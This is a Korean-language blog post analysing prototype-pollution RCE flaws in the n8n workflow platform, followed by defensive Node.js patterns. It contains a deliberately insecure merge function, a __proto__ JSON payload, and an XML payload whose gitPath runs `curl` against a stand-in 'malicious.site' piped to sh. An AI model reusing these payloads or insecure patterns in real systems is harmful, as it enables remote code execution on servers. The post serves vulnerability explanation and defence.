프로토타입 오염 리로디드: n8n의 5가지 9.4점 RCE 취약점 심층 분석
Node.js 애플리케이션을 구축하는 중이라면, 지금 하고 있는 일을 멈추고 각별한 주의를 기울여야 합니다. 2026년 5월 22일, 싱가포르 사이버 보안청(CSA)과 글로벌 보안 연구 그룹은 인기 있는 오픈 소스 워크플로 자동화 플랫폼인 n8n 사용자들을 대상으로 긴급 권고안을 발표했습니다.
n8n은 엄청난 CVSS v4.0 점수 9.4(CVE-2026-42231, CVE-2026-42232 및 CVE-2026-44789 포함)를 기록하는 5가지 중요한 취약점을 해결하는 보안 패치를 서둘러 배포했습니다. 이러한 보안 결함은 클래식하고 끈질기며 매우 위험한 Node.js 취약점 벡터인 **프로토타입 오염(Prototype Pollution)**에 집중되어 있었습니다. 이것들이 연결되면 공격자가 호스팅 서버에서 원격 코드 실행(RCE) 또는 임의의 시스템 파일 읽기를 트리거할 수 있었습니다.
저는 아침 내내 그 패치들을 분석했습니다. JavaScript 프로토타입 오염의 메커니즘을 밝히고, n8n의 XML 파서 노드가 어떻게 이 오염을 시스템 수준의 RCE로 이어지게 했는지 재구성하며, 여러분의 Node.js 웹 애플리케이션에서 이러한 벡터를 무력화하기 위한 권장 프로그래밍 패턴을 살펴보겠습니다.
프로토타입 오염의 이해
n8n이 어떻게 희생양이 되었는지 이해하려면 먼저 JavaScript 프로토타입 상속의 고유한 설계를 이해해야 합니다.
JavaScript에서 객체는 프로토타입 객체에서 속성과 메서드를 상속합니다. 단순한 객체 const dev = { name: "Elvis" } 를 생성하면, 암시적으로 Object.prototype 에서 상속됩니다.
애플리케이션이 엄격한 키 유효성 검사 없이 사용자가 제어하는 JSON 또는 XML 페이로드를 재귀적으로 병합하거나 파싱하여 객체로 만들 때, 공격자는 특수 마법 키 __proto__ 가 포함된 페이로드를 전달할 수 있습니다.
취약한 패턴:
고전적으로 취약한 객체 병합 유틸리티를 살펴보겠습니다.
// 완전한 보안 재앙인 고전적인 재귀적 병합
function insecureMerge(target, source) {
for (let key in source) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
insecureMerge(target[key], source[key]);
} else {
// 직접 할당하면 __proto__ 속성이 주입될 수 있습니다
target[key] = source[key];
}
}
return target;
}
// JSON으로 전달된 공격 페이로드
const attackerPayload = JSON.parse('{"__proto__": {"isAdmin": true}}');
const userSession = {};
insecureMerge(userSession, attackerPayload);
// 이제 이 Node.js 프로세스에서 생성된 모든 객체는 'isAdmin' 속성을 상속합니다!
const normalUser = {};
console.log(normalUser.isAdmin); // 출력: true! (프로토타입이 성공적으로 오염되었습니다)
Object.prototype 을 오염시킴으로써 공격자는 전체 런타임 환경에 걸쳐 전역적으로 속성을 주입합니다.
n8n RCE 체인 재구성
n8n 취약점 제품군은 단순한 프로토타입 오염이 전체 애플리케이션 서버를 손상시키는 데 어떻게 활용될 수 있는지 잘 보여줍니다.
[ 공격자의 악의적인 XML / JSON 페이로드 ]
│
▼
[ n8n Webhook / XML / HTTP Request 파서 ]
(취약한 xml2js 라이브러리가 __proto__를 파싱함)
│
▼
[ Object.prototype 오염됨 ]
(전역 런타임 속성이 조작됨)
│
▼
[ n8n Git 노드 실행 ]
(시스템 속성을 가져옴: 예, gitPath / shell 명령)
│
▼
[ 원격 코드 실행 (RCE) ]
(악성 셸 명령이 호스트에서 실행됨)
xml2js를 통한 주입 (CVE-2026-42231)
문제의 근원은 n8n의 Webhook, XML 및 HTTP Request 노드에서 사용되는 파싱 라이브러리에 있습니다. 특히 XML 파서 노드는 널리 사용되는 xml2js 파서를 사용하여 XML 페이로드를 처리했습니다.
constructor 및 prototype 과 같은 특수 키를 필터링하지 못했기 때문에, 공격자는 프로세스의 기본 프로토타입을 오염시키도록 구성된 XML 페이로드를 전송할 수 있었습니다.
<!-- XML을 통한 개념적 프로토타입 오염 페이로드 -->
<root>
<constructor>
<prototype>
<gitPath>/bin/sh -c "curl http://malicious.site/shell.sh | sh"</gitPath>
</prototype>
</constructor>
</root>
Git 노드의 RCE 체인 (CVE-2026-44790)
체인이 치명적으로 변하는 곳이 바로 여기입니다. n8n에는 워크플로가 구성을 복제, 커밋 및 푸시할 수 있도록 하는 Git 노드가 있습니다. Git 노드가 실행될 때, 로컬 시스템의 git 실행 파일을 찾기 위해 내부 경로 유틸리티를 참조합니다.
// 취약한 워크플로 실행 논리 내부
const execPath = options.gitPath || 'git'; // options.gitPath가 정의되지 않은 경우 프로토타입을 확인합니다.
child_process.exec(`${execPath} status`, ...);
일반적인 상황에서 options.gitPath 는 undefined이므로 시스템은 기본값인 안전한 'git' 바이너리로 설정됩니다. 그러나 공격자가 XML 노드 악용을 통해 성공적으로 Object.prototype.gitPath 를 오염시켰기 때문에 options.gitPath 검사에서 주입된 악성 셸 명령이 반환되었습니다!
Git 노드가 exec() 를 실행했을 때 셸 스크립트가 실행되어 공격자에게 n8n 호스트 시스템에 대한 완전한 원격 셸 제어 권한을 부여했습니다.
매직 키 차단
Node.js 또는 JavaScript 백엔드 API를 개발 중인 경우, 프로토타입 오염을 영구적으로 제거하는 세 가지 주요 설계 패턴이 있습니다.
1. 파서에서 키 이름 거부
사용자 지정 병합, 복사 또는 파싱 기능을 작성할 때 프로토타입 속성을 참조하는 키를 명시적으로 거부합니다.
// __proto__ 주입을 중지하기 위한 명시적 차단 목록
const BLACKLIST = ['__proto__', 'constructor', 'prototype'];
function secureMerge(target, source) {
for (let key in source) {
if (BLACKLIST.includes(key)) continue; // 악성 키를 조용히 버림
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
secureMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
return target;
}
2. 프로토타입이 없는 객체 생성
키-값 조회 테이블이나 구성 저장소를 생성할 때 표준 프로토타입 체인 없이 객체를 인스턴스화합니다. Object.create(null) 을 사용하면 Object.prototype 에서 상속되지 않는 딕셔너리가 생성되어 전역 오염 조회에 면역이 됩니다.
// 오염될 프로토타입 속성이 전혀 없는 완전히 빈 딕셔너리
const dict = Object.create(null);
console.log(dict.toString); // undefined
전문가 팁: 프로덕션 환경에서 프로토타입 고정
궁극적인 페일세이프(failsafe)로서 애플리케이션의 진입점에서 전역
Object.prototype을 고정(freeze)할 수 있습니다. 이렇게 하면 초기화 후 핵심 프로토타입이 수정되는 것을 방지할 수 있습니다.
// 기본 Object를 고정하여 모든 프로토타입 오염 시도를 무력화합니다.
Object.freeze(Object.prototype);
결론
JavaScript의 유연성은 가장 큰 강점이지만, 들어오는 JSON/XML을 맹목적으로 신뢰한다면 프로토타입 상속은 고전적인 자충수(footgun)가 됩니다. 파싱 트리를 소독(sanitize)하고, Object.create(null) 을 사용하며, 프로덕션 환경에서는 전역 프로토타입을 고정하고, n8n 인스턴스를 즉시 업데이트하십시오.
참고 문헌 및 공식 출처
- Singapore CSA Warning: n8n RCE와 관련하여 싱가포르 기업 IT 팀을 위한 고위험 경고. csa.gov.sg/alerts-advisories/n8n-rce-vulnerabilities
- n8n Security Advisory (GitHub GHSA): CVE-2026-42231 및 관련 버그에 대한 세부 정보 및 버전 패치. github.com/n8n-io/n8n/security/advisories
- GBHackers CyberSecurity: n8n의 CVSS 9.4 프로토타입 오염에 대한 익스플로잇 체인 및 개념 증명(PoC) 분석. gbhackers.com/n8n-rce-vulnerability

